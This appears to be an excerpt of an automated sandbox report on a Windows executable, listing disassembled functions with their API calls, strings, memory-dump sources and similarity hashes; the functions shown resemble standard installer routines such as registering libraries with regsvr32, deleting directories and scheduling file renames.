SetWindowLongW.USER32(?,000000FC,006B53C4), ref: 006B5DAC
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,006B5E7F,?,?,000000FC,006B53C4,00000000,?,00000000), ref: 006B5DE1
MsgWaitForMultipleObjects.USER32 ref: 006B5E55
CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,006B5E7F,?,?,000000FC,006B53C4,00000000), ref: 006B5E63

Part of subcall function 0060D210: WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0060D2F6

DestroyWindow.USER32(?,006B5E86,00000000,00000000,00000000,00000000,00000000,00000097,00000000,006B5E7F,?,?,000000FC,006B53C4,00000000,?), ref: 006B5E79

Strings

STATIC, xrefs: 006B5D92
/SECONDPHASE="%s" /FIRSTPHASEWND=$%x , xrefs: 006B5E10

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWindow$CloseHandle$AttributesCopyCreateDestroyLongMultipleObjectsPrivateProfileStringWaitWrite
String ID: /SECONDPHASE="%s" /FIRSTPHASEWND=$%x $STATIC
API String ID: 1779715363-2312673372
Opcode ID: 4342c26eaf5c82a6ee07d712d9f667de6e845aa0b346cf48334a2fe7aafdf53e
Instruction ID: 631bd36c21b8289a2ffb424a70e424515061202145823e8d8c015a7ddcff5e77
Opcode Fuzzy Hash: 4342c26eaf5c82a6ee07d712d9f667de6e845aa0b346cf48334a2fe7aafdf53e
Instruction Fuzzy Hash: 0D418FB0A00708AFDB00EFB5D856FDE7BF9EB48710F11496AF501E7291D7749A408B68

Uniqueness

Uniqueness Score: -1.00%

Function 005B8BCC, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 132windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005BA14C: GetActiveWindow.USER32 ref: 005BA173
Part of subcall function 005BA14C: GetLastActivePopup.USER32(?), ref: 005BA188

MonitorFromWindow.USER32(00000000,00000002), ref: 005B8C05
MonitorFromWindow.USER32(?,00000002), ref: 005B8C19
GetMonitorInfoW.USER32 ref: 005B8C38
GetWindowRect.USER32 ref: 005B8C4B
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D,?,?,00000000,00000028,?,00000002,?,?,00000000), ref: 005B8C86
MessageBoxW.USER32(00000000,00000000,?,?), ref: 005B8CC5
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D,005B8D3E,?,00000002,?,?,00000000), ref: 005B8D18

Part of subcall function 005ABC0C: IsWindow.USER32(8B565300), ref: 005ABC1A
Part of subcall function 005ABC0C: EnableWindow.USER32(8B565300,000000FF), ref: 005ABC29

SetActiveWindow.USER32(00000000,005B8D3E,?,00000002,?,?,00000000), ref: 005B8D29

Strings

(, xrefs: 005B8C29

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$ActiveMonitor$From$EnableInfoLastMessagePopupRect
String ID: (
API String ID: 2800294577-3887548279
Opcode ID: 697067ae2afa1e135e09f613447b76a02380f836c62bd5e999329a0a4143e532
Instruction ID: e103ff10fad479e04e90777f58b06b380e75d42997427aec15eeb7db3903070a
Opcode Fuzzy Hash: 697067ae2afa1e135e09f613447b76a02380f836c62bd5e999329a0a4143e532
Instruction Fuzzy Hash: CE41ECB5E00109AFDB04DBA8D895FFEBBB9FB88300F554469F500AB291DB74AD40CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00625DF0, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 124pipeCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,000000FF,00000000,00000000,00000000,00625FD3,?,00000000,0062602E,?,?,00000000,00000000), ref: 00625E4D
TransactNamedPipe.KERNEL32(?,-00000020,0000000C,-00004034,00000014,00000000,?,00000000,00625F68,?,00000000,000000FF,00000000,00000000,00000000,00625FD3), ref: 00625EAA
GetLastError.KERNEL32(?,-00000020,0000000C,-00004034,00000014,00000000,?,00000000,00625F68,?,00000000,000000FF,00000000,00000000,00000000,00625FD3), ref: 00625EB7
MsgWaitForMultipleObjects.USER32 ref: 00625F03
GetOverlappedResult.KERNEL32(?,?,00000000,000000FF,00625F41,00000000,00000000), ref: 00625F2D
GetLastError.KERNEL32(?,?,00000000,000000FF,00625F41,00000000,00000000), ref: 00625F34

Part of subcall function 0060C7E4: GetLastError.KERNEL32(00000000,0060D50A,00000005,00000000,0060D532,?,?,006D479C,?,00000000,00000000,00000000,?,006B79CB,00000000,006B79E6), ref: 0060C7E7

Strings

CreateEvent, xrefs: 00625E5B
TransactNamedPipe, xrefs: 00625EC3

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$CreateEventMultipleNamedObjectsOverlappedPipeResultTransactWait
String ID: CreateEvent$TransactNamedPipe
API String ID: 2182916169-3012584893
Opcode ID: fae5c78e997bc8b5791c6b07024b9a4f39506fb163322dfd2895260b01c1bf19
Instruction ID: 45a7b13262c8ba221a264593c31f2682aee6f87904bd064028a6768281c8f284
Opcode Fuzzy Hash: fae5c78e997bc8b5791c6b07024b9a4f39506fb163322dfd2895260b01c1bf19
Instruction Fuzzy Hash: C6418D71A00A08AFDB11DF99DA81EDEBBBAFB08710F1141A9F514E7391D634AA40CF24

Uniqueness

Uniqueness Score: -1.00%

Function 0040DF90, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(006D0C14,00000000,0040E094,?,?,?,00000000,?,0040E974,00000000,0040E9D3,?,?,00000000,00000000,00000000), ref: 0040DFAE
LeaveCriticalSection.KERNEL32(006D0C14,006D0C14,00000000,0040E094,?,?,?,00000000,?,0040E974,00000000,0040E9D3,?,?,00000000,00000000), ref: 0040DFD2
LeaveCriticalSection.KERNEL32(006D0C14,006D0C14,00000000,0040E094,?,?,?,00000000,?,0040E974,00000000,0040E9D3,?,?,00000000,00000000), ref: 0040DFE1
IsValidLocale.KERNEL32(00000000,00000002,006D0C14,006D0C14,00000000,0040E094,?,?,?,00000000,?,0040E974,00000000,0040E9D3), ref: 0040DFF3
EnterCriticalSection.KERNEL32(006D0C14,00000000,00000002,006D0C14,006D0C14,00000000,0040E094,?,?,?,00000000,?,0040E974,00000000,0040E9D3), ref: 0040E050
LeaveCriticalSection.KERNEL32(006D0C14,006D0C14,00000000,00000002,006D0C14,006D0C14,00000000,0040E094,?,?,?,00000000,?,0040E974,00000000,0040E9D3), ref: 0040E079

Strings

en-US,en,, xrefs: 0040DFBE, 0040E065

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$Enter$LocaleValid
String ID: en-US,en,
API String ID: 975949045-3579323720
Opcode ID: 132b5c44b66357a61607cea8e570c4f98048163ec2b2b075c620ee471578f9dc
Instruction ID: 4182a3ca1ca8de6b44c3d638db47ef535eef3e1020ae15a43facf6376d410dc7
Opcode Fuzzy Hash: 132b5c44b66357a61607cea8e570c4f98048163ec2b2b075c620ee471578f9dc
Instruction Fuzzy Hash: B221C360B506149AEB20B7B78C42B1E3286DB45708F50497FB440BF3C6CAFC8C458AAF

Uniqueness

Uniqueness Score: -1.00%

Function 00624530, Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 90COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(OLEAUT32.DLL,UnRegisterTypeLib,00000000,0062464A,?,?,?,00000000,00000000,00000000,00000000,00000000,?,00629FF1,00000000,0062A005), ref: 00624556

Part of subcall function 00414020: GetProcAddress.KERNEL32(?,?), ref: 0041404A

LoadTypeLib.OLEAUT32(00000000,00000000), ref: 0062459A

Part of subcall function 0060C7E4: GetLastError.KERNEL32(00000000,0060D50A,00000005,00000000,0060D532,?,?,006D479C,?,00000000,00000000,00000000,?,006B79CB,00000000,006B79E6), ref: 0060C7E7

Strings

GetProcAddress, xrefs: 00624569
UnRegisterTypeLib, xrefs: 006245F8
LoadTypeLib, xrefs: 006245A5
UnRegisterTypeLib, xrefs: 0062454C
OLEAUT32.DLL, xrefs: 00624551
ITypeLib::GetLibAttr, xrefs: 006245C2

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressErrorHandleLastLoadModuleProcType
String ID: GetProcAddress$ITypeLib::GetLibAttr$LoadTypeLib$OLEAUT32.DLL$UnRegisterTypeLib$UnRegisterTypeLib
API String ID: 1914119943-2711329623
Opcode ID: 3799fd6d903a69a31f79a75ffe0ed153fdae39087b1b7be4b8271f0e1526af79
Instruction ID: 6e8e0d31e8c3c09f4e33b7ba0e6d10679ae3de64b1987244dfe505353b5bcc3b
Opcode Fuzzy Hash: 3799fd6d903a69a31f79a75ffe0ed153fdae39087b1b7be4b8271f0e1526af79
Instruction Fuzzy Hash: E9219CB1A40A24AFDB04EBAADC42D6B77EEEF8A7403114469F400E7651EE34EC018F25

Uniqueness

Uniqueness Score: -1.00%

Function 005C6D70, Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 82registryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,005C6E6A,?,00000000), ref: 005C6D97

Part of subcall function 00414020: GetProcAddress.KERNEL32(?,?), ref: 0041404A

RegCloseKey.ADVAPI32(00000001,00000001,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,005C6E6A,?,00000000), ref: 005C6DEA

Strings

.DEFAULT\Control Panel\International, xrefs: 005C6DC1
GetUserDefaultUILanguage, xrefs: 005C6D8D
kernel32.dll, xrefs: 005C6D92
Control Panel\Desktop\ResourceLocale, xrefs: 005C6DF9
Locale, xrefs: 005C6DD9

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressCloseHandleModuleProc
String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
API String ID: 4190037839-2401316094
Opcode ID: 6b6c522d3c770edab7bcb67ac98bb70ea1e086da121dbc8d7ea2477832c323e3
Instruction ID: 99792ba0868377f284877609c025123efe30c02dabd3e6f2c0b5c4ff46beac99
Opcode Fuzzy Hash: 6b6c522d3c770edab7bcb67ac98bb70ea1e086da121dbc8d7ea2477832c323e3
Instruction Fuzzy Hash: BC212C79A00209AEDB10EAF1D856F9F7BF9FB48704F60486EE500E7281EA74AB408755

Uniqueness

Uniqueness Score: -1.00%

Function 006249D4, Relevance: 13.6, APIs: 1, Strings: 8, Instructions: 124COMMON

Download Yara Rule

APIs

Part of subcall function 005C61D8: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 005C61EB

CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,00624B84,?, /s ",006D479C,regsvr32.exe",?,00624B84), ref: 00624AF2

Strings

/u, xrefs: 00624A3E
regsvr32.exe", xrefs: 00624A23
Spawning 32-bit RegSvr32: , xrefs: 00624A87
CreateProcess, xrefs: 00624AE4
/s ", xrefs: 00624A4B
D, xrefs: 00624AA8
0x%x, xrefs: 00624B15
Spawning 64-bit RegSvr32: , xrefs: 00624A6D

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseDirectoryHandleSystem
String ID: /s "$ /u$0x%x$CreateProcess$D$Spawning 32-bit RegSvr32: $Spawning 64-bit RegSvr32: $regsvr32.exe"
API String ID: 2051275411-1862435767
Opcode ID: ff6b3e51cfe6d65b4fd66b800098d3e8dbd157fe585adce9f2af6c58d9b3f159
Instruction ID: 95f43718ecb6a3265bc8f77fac2cb7b4ee0adae1cc946baa76750ec423c23771
Opcode Fuzzy Hash: ff6b3e51cfe6d65b4fd66b800098d3e8dbd157fe585adce9f2af6c58d9b3f159
Instruction Fuzzy Hash: DA413134A40718ABDB10EFE5D892BDDBBBAFF48304F50417EA504A7282DB749A05CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004062CC, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 004062EE
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000), ref: 004062F4
GetStdHandle.KERNEL32(000000F4,0040543C,00000000,?,00000000,00000000,000000F4,?,00000000,?,00000000), ref: 00406313
WriteFile.KERNEL32(00000000,000000F4,0040543C,00000000,?,00000000,00000000,000000F4,?,00000000,?,00000000), ref: 00406319
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,00000000,000000F4,0040543C,00000000,?,00000000,00000000,000000F4,?,00000000,?), ref: 00406330
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,00000000,000000F4,0040543C,00000000,?,00000000,00000000,000000F4,?,00000000), ref: 00406336

Strings

<T@, xrefs: 00406300, 0040630B

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: FileHandleWrite
String ID: <T@
API String ID: 3320372497-2050694182
Opcode ID: 4b1bca956a6cf0ac3a8163dca5164d8526c5294e1121d059f47b6d96abba5736
Instruction ID: 33e408ca48ad1dbcb2fa22716985c37038247fab0905643a34c658cb983966db
Opcode Fuzzy Hash: 4b1bca956a6cf0ac3a8163dca5164d8526c5294e1121d059f47b6d96abba5736
Instruction Fuzzy Hash: A401A9A16086147DE610F3BA9C8AF6B279CCB0976CF10463BB614F61D2C97C9C548B7E

Uniqueness

Uniqueness Score: -1.00%

Function 00405D88, Relevance: 12.2, APIs: 8, Instructions: 221sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,?,?,00000000,0040F300,0040F366,?,00000000,?,?,0040F689,00000000,?,00000000,0040FB8A,00000000), ref: 00405E1E
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,0040F300,0040F366,?,00000000,?,?,0040F689,00000000,?,00000000,0040FB8A), ref: 00405E38

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 8bac78cd018c24294fae1372a9ade90c3476160636c7b0da8341b439c678a567
Instruction ID: da3bc9e3fd9e780578e72be1a575793d19e87bbd1db11b6bdefce3007bd96747
Opcode Fuzzy Hash: 8bac78cd018c24294fae1372a9ade90c3476160636c7b0da8341b439c678a567
Instruction Fuzzy Hash: CA71D131600A408FD715DB29C988B27BBD5EF85314F18C17FE884AB3D2D6B98941CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00628C68, Relevance: 12.1, APIs: 1, Strings: 7, Instructions: 121COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00628DEE,?,00000000,?), ref: 00628D30

Part of subcall function 0060D90C: FindClose.KERNEL32(000000FF,0060DA01), ref: 0060D9F0

Strings

Not stripping read-only attribute because the directory does not appear to be empty., xrefs: 00628D0A
Failed to strip read-only attribute., xrefs: 00628CFE
Failed to delete directory (%d). Will delete on restart (if empty)., xrefs: 00628DA7
Failed to delete directory (%d)., xrefs: 00628DC8
Deleting directory: %s, xrefs: 00628CB7
Failed to delete directory (%d). Will retry later., xrefs: 00628D49
Stripped read-only attribute., xrefs: 00628CF2

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseErrorFindLast
String ID: Deleting directory: %s$Failed to delete directory (%d).$Failed to delete directory (%d). Will delete on restart (if empty).$Failed to delete directory (%d). Will retry later.$Failed to strip read-only attribute.$Not stripping read-only attribute because the directory does not appear to be empty.$Stripped read-only attribute.
API String ID: 754982922-1448842058
Opcode ID: d7006f8f96515928ac5f45ade736a6d201817eda08c242f25fdd637a19fd5bc4
Instruction ID: 0d7053e611d435c1968383ac90d2efcc691faa7e680c69a06bbf0affe518b4a0
Opcode Fuzzy Hash: d7006f8f96515928ac5f45ade736a6d201817eda08c242f25fdd637a19fd5bc4
Instruction Fuzzy Hash: 3041D630A019288EDB04EB68EC452EEB6F7AF94304F55897EA411E73C1CF748D098F66

Uniqueness

Uniqueness Score: -1.00%

Function 005B8390, Relevance: 12.1, APIs: 8, Instructions: 99windowthreadCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 005B83B6
IsWindowUnicode.USER32(00000000), ref: 005B83F9
SendMessageW.USER32(00000000,-0000BBEE,00000000,?), ref: 005B8414
SendMessageA.USER32(00000000,-0000BBEE,00000000,?), ref: 005B8433
GetWindowThreadProcessId.USER32(00000000), ref: 005B8442
GetWindowThreadProcessId.USER32(?,?), ref: 005B8453
SendMessageW.USER32(00000000,-0000BBEE,00000000,?), ref: 005B8473

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSendWindow$ProcessThread$CaptureUnicode
String ID:
API String ID: 1994056952-0
Opcode ID: 222849e93f791e6fe5336b19d95e43f48479be18d58de6e0f9e896b259e8fefc
Instruction ID: 47a373bf8cf15ed47240c2e20fb0cc0c25a2ef49831a5707915557531a2b0ceb
Opcode Fuzzy Hash: 222849e93f791e6fe5336b19d95e43f48479be18d58de6e0f9e896b259e8fefc
Instruction Fuzzy Hash: 0021CEB520460A6FDA60EA99CE80FF777DCFF44748B105829B999C3642EE14FC40C769

Uniqueness

Uniqueness Score: -1.00%

Function 00405F80, Relevance: 10.9, APIs: 7, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 608735f5bce0e36611a6a74c8b5942bb2db45b7b298456c3db6888c90be37e0c
Instruction ID: 7dd5b4cb36b4a9a591d6b9d30fe19ff178ae28b977775f2e11cfa4002bd538ad
Opcode Fuzzy Hash: 608735f5bce0e36611a6a74c8b5942bb2db45b7b298456c3db6888c90be37e0c
Instruction Fuzzy Hash: 04C123A2710A004BD714AA7D9C8476FB286DBC5324F19823FF645EB3D6DA7CCC558B88

Uniqueness

Uniqueness Score: -1.00%

Function 0060D210, Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 216COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0060D2F6

Strings

WININIT.INI, xrefs: 0060D2A4
[rename], xrefs: 0060D35A, 0060D396
.tmp, xrefs: 0060D2B2
MoveFileEx, xrefs: 0060D500
NUL, xrefs: 0060D3B9

